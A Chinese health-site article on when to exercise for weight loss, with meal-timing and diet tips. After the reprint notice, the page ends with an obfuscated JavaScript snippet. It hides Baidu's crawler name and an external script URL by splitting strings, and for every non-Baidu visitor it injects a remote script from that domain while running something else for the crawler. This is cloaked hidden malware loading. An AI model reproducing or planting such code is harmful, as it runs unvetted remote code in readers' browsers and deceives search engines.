当前位置:首页 > 减肥 > 运动减肥 > 正文

减肥应该什么时间运动

2017-04-22 23:57:31  来源:360常识网   热度:
导语:我们在努力减肥的同时也需要找到正确的减肥运动的时间,这样减肥的效果就比较好。在我们每天的早中晚的时间段里,有很适宜运动的时间。比如

我们在努力减肥的同时也需要找到正确的减肥运动的时间,这样减肥的效果就比较好。在我们每天的早中晚的时间段里,有很适宜运动的时间。比如早晨起床后一个小时内进行运动是很好的减肥时间,这时候人体的代谢比较快,可以进行瑜伽这样不激烈的运动。中午可以在饭前的一个小时进行运动,减肥效果很不错。在晚上应该子啊饭后半个小时进行散步、慢跑,运动可以帮助身体消耗糖类,减肥效果很明显。

适合运动的时间

研究发现,轻度运动则在饭后一小时进行最合理;中度运动应该安排在饭后两小时进行;高强度运动可在正餐后三小时进行。据此可以推出几个最优运动时间段:

上午时段:早餐后3小时至午餐前

下午时段:午餐后3小时至晚餐前

晚间时段:晚餐后3小时至睡前

饭后一段时间不适宜运动

原因:

1、饭后胰岛素分泌上升,可抑制脂肪的分解,能量的来源就受到限制。由于脂肪分解少,减肥运动也不宜在这个时间段进行。

2、刺激肠胃:吃饱饭后进行运动,会给肠胃带来机械性刺激,使肠胃内溶物左右、上下震动,可能引发呕吐、胃痉挛等症状。

运动减肥的同时,在饮食上也是要注意的。运动可以帮助肠胃加快蠕动,消化能力比较好,胃口大开,这时候可要管住嘴,不要吃热量高油脂大的食物。食物的选择上可以多吃含胶质、纤维比较多的食物,延长食物的消化,这样热量的摄入就控制住了,减肥的效果就比较好。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}